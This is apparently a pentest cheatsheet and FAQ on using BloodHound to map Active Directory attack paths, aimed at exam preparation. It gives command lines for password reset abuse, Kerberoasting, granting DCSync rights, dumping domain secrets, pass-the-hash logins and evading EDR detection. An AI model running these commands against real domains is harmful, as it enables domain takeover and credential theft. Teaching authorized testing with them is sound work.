# Collection (SharpHound / bloodhound-python)
First, collect the domain data. Use SharpHound from Windows or bloodhound-python from Linux with valid domain credentials.
SharpHound (Windows)
.\SharpHound.exe -c All --zipfilename corp
.\SharpHound.exe -c DCOnly --Jitter 30 --Throttle 1000
bloodhound-python (Linux / Kali)
bloodhound-python -d domain.local -u USER -p PASS -c All -ns DC_IP --zip
bloodhound-python -d domain.local -u USER --hashes :NTLM_HASH -c All -ns DC_IP --zip
nxc ldap DC_IP -u USER -p PASS --bloodhound -c All --dns-server DC_IP
# Setup & Ingestion
BloodHound CE runs in Docker with a web UI. Import the collected ZIP, then mark your compromised accounts as Owned.
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Right-click your compromised user/computer → Mark as Owned
# Cypher Queries
Cypher is the graph query language behind BloodHound. These queries surface the highest-value targets instantly.
MATCH (u:User {hasspn:true}) RETURN u
MATCH (u:User {dontreqpreauth:true}) RETURN u
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p
MATCH (u:User)-[:MemberOf*1..]->(g:Group)-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN u
MATCH p=(u {owned:true})-[:GenericAll|WriteDacl|WriteOwner|ForceChangePassword*1..]->(t) RETURN p
# Edges & How to Abuse Them
Every edge is an abusable right. These are the ones you will exploit most on engagements and exams.
ForceChangePassword → net rpc password "TARGET" "NewPass1!" -U "DOMAIN"/"USER"%"PASS" -S DC
GenericAll (on user) → targetedKerberoast.py -d domain.local -u USER -p PASS
AddMember → net rpc group addmem "TARGET GROUP" "YOURUSER" -U ... -S DC
WriteDacl → dacledit.py -action write -rights DCSync -principal USER -target-dn "DC=domain,DC=local"
# Attack Paths to Domain Admin
Turn the graph into action. Use the pre-built analysis queries, then execute each edge in the path.
impacket-GetUserSPNs domain.local/USER:PASS -dc-ip DC_IP -request
impacket-secretsdump domain.local/USER:PASS@DC_IP
evil-winrm -i TARGET -u USER -H NTLM_HASH
# Pro Tips
Get more out of BloodHound on real engagements and in AD exams.
-c DCOnly and skip session collection to avoid EDR alerts.❓ BloodHound Frequently Asked Questions
BloodHound maps Active Directory relationships as a graph and reveals attack paths to Domain Admin. It collects users, groups, sessions, ACLs and trusts with a collector (SharpHound or bloodhound-python), then lets you run Cypher queries and shortest-path analysis to find privilege escalation chains invisible to manual review.
SharpHound is the C#/.NET collector run from a Windows host. bloodhound-python runs remotely from Linux/Kali with valid domain credentials — ideal when you don't have execution on a Windows box. Both output JSON you import into BloodHound.
Edges are directed relationships representing abusable rights — for example MemberOf, AdminTo, HasSession, GenericAll, WriteDacl, ForceChangePassword and DCSync. Each edge is a step in an attack path; the Help panel explains how to abuse every one.
Use the pre-built "Shortest Paths to Domain Admins" query, or mark your principal Owned and run "Shortest Paths from Owned Principals". Or write Cypher: MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p.
BloodHound CE is the current SpecterOps rewrite running in Docker with a web UI and PostgreSQL/Neo4j backend, replacing the older Electron app. The collectors and Cypher concepts are the same; CE improves scalability, the API and the query experience.
It can be. SharpHound with -c All is noisy — heavy LDAP, session enumeration and SMB trigger EDR. For stealth, collect only what you need (-c DCOnly), throttle with --Jitter/--Throttle, and skip session collection on monitored networks.
Shortest path to Domain Admins, Kerberoastable users (hasspn:true), AS-REP roastable users (dontreqpreauth:true), principals with DCSync rights, principals with GenericAll/WriteDacl over high-value targets, and computers where a compromised user has an active session.
In all three AD-heavy exams, BloodHound is used right after a foothold to map the domain and plan the path to Domain Admin. It highlights Kerberoasting targets, ACL abuse chains and lateral movement, turning a large domain into a clear, prioritized attack plan.
SharpHound produces a ZIP of JSON files. In BloodHound CE, use Administration → File Ingest; in legacy BloodHound, drag the ZIP onto the UI or use Upload Data. After ingestion, run pre-built queries or mark your compromised principals as Owned.
Yes. The free mindmap organizes 12,020+ commands including BloodHound collection, Cypher queries and the full AD attack chain (Kerberoasting, ACL abuse, DCSync) with instant search, so you find the exact command and query fast during an engagement or exam prep.
📚 Related Resources
- Active Directory Cheatsheet — The full AD attack chain that BloodHound maps out
- CPTS Cheatsheet — HTB enterprise exam — BloodHound is central to it
- PNPT Cheatsheet — TCM AD exam — path to Domain Admin with BloodHound
- OSCP Cheatsheet — The OSCP+ AD set — Kerberoasting to Domain Admin
- Hashcat Cheatsheet — Crack the Kerberoast/AS-REP hashes BloodHound finds
- Full Pentesting Cheatsheet — 200+ commands for web, network and Active Directory
Master Active Directory with 12,020+ commands
This cheatsheet is the surface. Pentest Mindmap organizes 12,020+ commands in 34 categories — including the full BloodHound and Active Directory attack chain — with instant search.
Start free →